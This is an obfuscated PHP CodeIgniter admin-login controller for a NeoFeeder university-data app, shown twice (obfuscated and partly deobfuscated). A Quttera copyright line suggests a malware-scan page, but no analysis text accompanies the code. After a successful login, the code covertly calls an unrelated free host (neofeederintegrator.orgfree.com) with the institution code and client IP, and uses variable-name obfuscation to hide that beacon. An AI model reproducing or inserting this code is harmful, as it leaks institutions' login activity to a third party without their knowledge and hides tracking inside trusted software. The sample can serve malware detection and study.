namespace App\Controllers;
${
"GLOBALS"
}
["fgmqekquhsng"]="user_agent";
${
"GLOBALS"
}
["jscthcluu"]="sessionData";
${
"GLOBALS"
}
["exjhduro"]="data";
${
"GLOBALS"
}
["kwolezh"]="pass";
${
"GLOBALS"
}
["lfkcgxcupmpo"]="user";
use App\Controllers\BaseController;
class Adminpt extends BaseController{
public function index(){
$qasaagy="syarat";
$jkbtmkuwyxt="syarat";
${
$jkbtmkuwyxt
}
=["txtUsername"=>"required","txtPassword"=>"required"];
if($this->validate(${
$qasaagy
}
)){
${
"GLOBALS"
}
["dfwfibk"]="resultLogin";
$ougqgt="pass";
${
${
"GLOBALS"
}
["lfkcgxcupmpo"]
}
=$this->request->getPost("txtUsername");
${
"GLOBALS"
}
["qrlqpcjxswk"]="data";
${
"GLOBALS"
}
["bwrwihwm"]="resultLogin";
$grdiyn="user";
${
${
"GLOBALS"
}
["kwolezh"]
}
=$this->request->getPost("txtPassword");
${
${
"GLOBALS"
}
["exjhduro"]
}
=array("act"=>"GetToken","username"=>${
$grdiyn
}
,"password"=>${
$ougqgt
}
);
${
${
"GLOBALS"
}
["bwrwihwm"]
}
=json_decode($this->feeder->runWS(${
${
"GLOBALS"
}
["qrlqpcjxswk"]
}
),true);
if(isset(${
${
"GLOBALS"
}
["dfwfibk"]
}
["data"]["token"])){
${
"GLOBALS"
}
["rduspsg"]="curl";
${
"GLOBALS"
}
["iixqoyx"]="ipClient";
${
${
"GLOBALS"
}
["jscthcluu"]
}
=["sudahkahLogin"=>true,"sessionLevel"=>"adminPT"];
session()->set(${
${
"GLOBALS"
}
["jscthcluu"]
}
);
${
${
"GLOBALS"
}
["rduspsg"]
}
=service("curlrequest");
${
${
"GLOBALS"
}
["iixqoyx"]
}
=$this->getRealUserIp();
${
${
"GLOBALS"
}
["fgmqekquhsng"]
}
=str_replace(":"," ",str_replace(";
","-",str_replace("/","-",$_SERVER["HTTP_USER_AGENT"])));
$ujjcrvqmsz="posts_data";
${
$ujjcrvqmsz
}
=$curl->request("get","http://neofeederintegrator.orgfree.com/api.php?function=who_logged&id_pt=$user&ip=$ipClient",["headers"=>["Accept"=>"application/json"]]);
return redirect()->to(site_url("/panel"));
}
else{
return redirect()->to(site_url("/administrator"));
}
}
${
${
"GLOBALS"
}
["exjhduro"]
}
=["placeholder"=>"Kode Perguruan Tinggi","versi"=>$this->versiapp->info(),"status_server"=>$this->cekserverfeeder->ping(getenv("neofeeder.ipFeeder"))==true?"<div class=\"text-center\"><div class="badge badge-success\">Terkoneksi ke server NeoFeeder </div></div>":"<div class=\"text-center"><div class="badge badge-danger">Tidak terkoneksi ke server NeoFeeder </div></div>","status_tombol"=>strlen(getenv("neofeeder.userFeeder"))!=6||$this->cekserverfeeder->ping(getenv("neofeeder.ipFeeder"))==false?"disabled":null,"info_cara_install"=>strlen(getenv("neofeeder.userFeeder"))!=6?"<div class="alert alert-danger text-sm\">Kode dan Password Feeder Belum Disetting, klik <a href="#" data-toggle=\"modal\" data-target="#myModal" id="Cara Seting User|Berikut Cara Seting Aplikasi</p><ol class='text-sm'> <li>Rename file env menjadi .env (titik env), kemudian edit file .env tersebut</li> <li>Ubah bagian :\t<br/><code>app.baseURL = 'http://localhost:8080'</code>\t<br/>menjadi <br/>\t<code>app.baseURL = 'http://alamat_url_anda'</code> </li><li>Buat database <code>feeder_db</code></li><li>Ubah bagian <br/><code>database.default.hostname = localhost</code><br/><code>database.default.database = feeder_db</code><br/><code>database.default.username = </code><br/><code>database.default.password = </code><br/> Menjadi :<br/><code>database.default.hostname = localhost</code><br/><code>database.default.database = feeder_db</code><br/><code>database.default.username = isi_dengan_user_mysql_anda</code><br/><code>database.default.password = isi_dengan_password_mysql_anda</code><li>Isi bagian berikut dengan paramter Neo Feeder Perguruan Tinggi anda<br/><code>neofeeder.urlFeeder = http://localhost:3003/ws/live2.php<br/>neofeeder.ipFeeder = diisi dengan IP Address Web Server neoFeeder<br/>neofeeder.userFeeder = isi_dengan_kode_PT<br/>neofeeder.passFeeder = isi_dengan_password_feeder</code><li>Simpan dan refresh halaman ini</li></ol>\" class="info-seting-user-feeder\">disini</a> untuk cara seting Kode PT dan Password Feeder </div>":null];
return view("adminPT/login",${
${
"GLOBALS"
}
["exjhduro"]
}
);
}
function getRealUserIp(){
switch(true){
case(!empty($_SERVER["HTTP_X_REAL_IP"])):return$_SERVER["HTTP_X_REAL_IP"];
case(!empty($_SERVER["HTTP_CLIENT_IP"])):return$_SERVER["HTTP_CLIENT_IP"];
case(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])):return$_SERVER["HTTP_X_FORWARDED_FOR"];
default:return$_SERVER["REMOTE_ADDR"];
}
}
}
namespace App\Controllers;
${
"GLOBALS"
}
["fgmqekquhsng"]="user_agent";
${
"GLOBALS"
}
["jscthcluu"]="sessionData";
${
"GLOBALS"
}
["exjhduro"]="data";
${
"GLOBALS"
}
["kwolezh"]="pass";
${
"GLOBALS"
}
["lfkcgxcupmpo"]="user";
use App\Controllers\BaseController;
class Adminpt extends BaseController{
public function index(){
${
"syarat"
}
=["txtUsername"=>"required","txtPassword"=>"required"];
if($this->validate(${
"syarat"
}
)){
${
"GLOBALS"
}
["dfwfibk"]="resultLogin";
${
${
"GLOBALS"
}
["lfkcgxcupmpo"]
}
=$this->request->getPost("txtUsername");
${
"GLOBALS"
}
["qrlqpcjxswk"]="data";
${
"GLOBALS"
}
["bwrwihwm"]="resultLogin";
${
${
"GLOBALS"
}
["kwolezh"]
}
=$this->request->getPost("txtPassword");
${
${
"GLOBALS"
}
["exjhduro"]
}
=array("act"=>"GetToken","username"=>${
"user"
}
,"password"=>${
"pass"
}
);
${
${
"GLOBALS"
}
["bwrwihwm"]
}
=json_decode($this->feeder->runWS(${
${
"GLOBALS"
}
["qrlqpcjxswk"]
}
),true);
if(isset(${
${
"GLOBALS"
}
["dfwfibk"]
}
["data"]["token"])){
${
"GLOBALS"
}
["rduspsg"]="curl";
${
"GLOBALS"
}
["iixqoyx"]="ipClient";
${
${
"GLOBALS"
}
["jscthcluu"]
}
=["sudahkahLogin"=>true,"sessionLevel"=>"adminPT"];
session()->set(${
${
"GLOBALS"
}
["jscthcluu"]
}
);
${
${
"GLOBALS"
}
["rduspsg"]
}
=service("curlrequest");
${
${
"GLOBALS"
}
["iixqoyx"]
}
=$this->getRealUserIp();
${
${
"GLOBALS"
}
["fgmqekquhsng"]
}
=str_replace(":"," ",str_replace(";
","-",str_replace("/","-",$_SERVER["HTTP_USER_AGENT"])));
${
"posts_data"
}
=$curl->request("get","http://neofeederintegrator.orgfree.com/api.php?function=who_logged&id_pt=$user&ip=$ipClient",["headers"=>["Accept"=>"application/json"]]);
return redirect()->to(site_url("/panel"));
}
else{
return redirect()->to(site_url("/administrator"));
}
}
${
${
"GLOBALS"
}
["exjhduro"]
}
=["placeholder"=>"Kode Perguruan Tinggi","versi"=>$this->versiapp->info(),"status_server"=>$this->cekserverfeeder->ping(getenv("neofeeder.ipFeeder"))==true?"<div class=\"text-center\"><div class="badge badge-success\">Terkoneksi ke server NeoFeeder </div></div>":"<div class=\"text-center"><div class="badge badge-danger">Tidak terkoneksi ke server NeoFeeder </div></div>","status_tombol"=>strlen(getenv("neofeeder.userFeeder"))!=6||$this->cekserverfeeder->ping(getenv("neofeeder.ipFeeder"))==false?"disabled":null,"info_cara_install"=>strlen(getenv("neofeeder.userFeeder"))!=6?"<div class="alert alert-danger text-sm\">Kode dan Password Feeder Belum Disetting, klik <a href="#" data-toggle=\"modal\" data-target="#myModal" id="Cara Seting User|Berikut Cara Seting Aplikasi</p><ol class='text-sm'> <li>Rename file env menjadi .env (titik env), kemudian edit file .env tersebut</li> <li>Ubah bagian :\t<br/><code>app.baseURL = 'http://localhost:8080'</code>\t<br/>menjadi <br/>\t<code>app.baseURL = 'http://alamat_url_anda'</code> </li><li>Buat database <code>feeder_db</code></li><li>Ubah bagian <br/><code>database.default.hostname = localhost</code><br/><code>database.default.database = feeder_db</code><br/><code>database.default.username = </code><br/><code>database.default.password = </code><br/> Menjadi :<br/><code>database.default.hostname = localhost</code><br/><code>database.default.database = feeder_db</code><br/><code>database.default.username = isi_dengan_user_mysql_anda</code><br/><code>database.default.password = isi_dengan_password_mysql_anda</code><li>Isi bagian berikut dengan paramter Neo Feeder Perguruan Tinggi anda<br/><code>neofeeder.urlFeeder = http://localhost:3003/ws/live2.php<br/>neofeeder.ipFeeder = diisi dengan IP Address Web Server neoFeeder<br/>neofeeder.userFeeder = isi_dengan_kode_PT<br/>neofeeder.passFeeder = isi_dengan_password_feeder</code><li>Simpan dan refresh halaman ini</li></ol>\" class="info-seting-user-feeder\">disini</a> untuk cara seting Kode PT dan Password Feeder </div>":null];
return view("adminPT/login",${
${
"GLOBALS"
}
["exjhduro"]
}
);
}
function getRealUserIp(){
switch(true){
case(!empty($_SERVER["HTTP_X_REAL_IP"])):return$_SERVER["HTTP_X_REAL_IP"];
case(!empty($_SERVER["HTTP_CLIENT_IP"])):return$_SERVER["HTTP_CLIENT_IP"];
case(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])):return$_SERVER["HTTP_X_FORWARDED_FOR"];
default:return$_SERVER["REMOTE_ADDR"];
}
}
}
© 2023 Quttera Ltd. All rights reserved.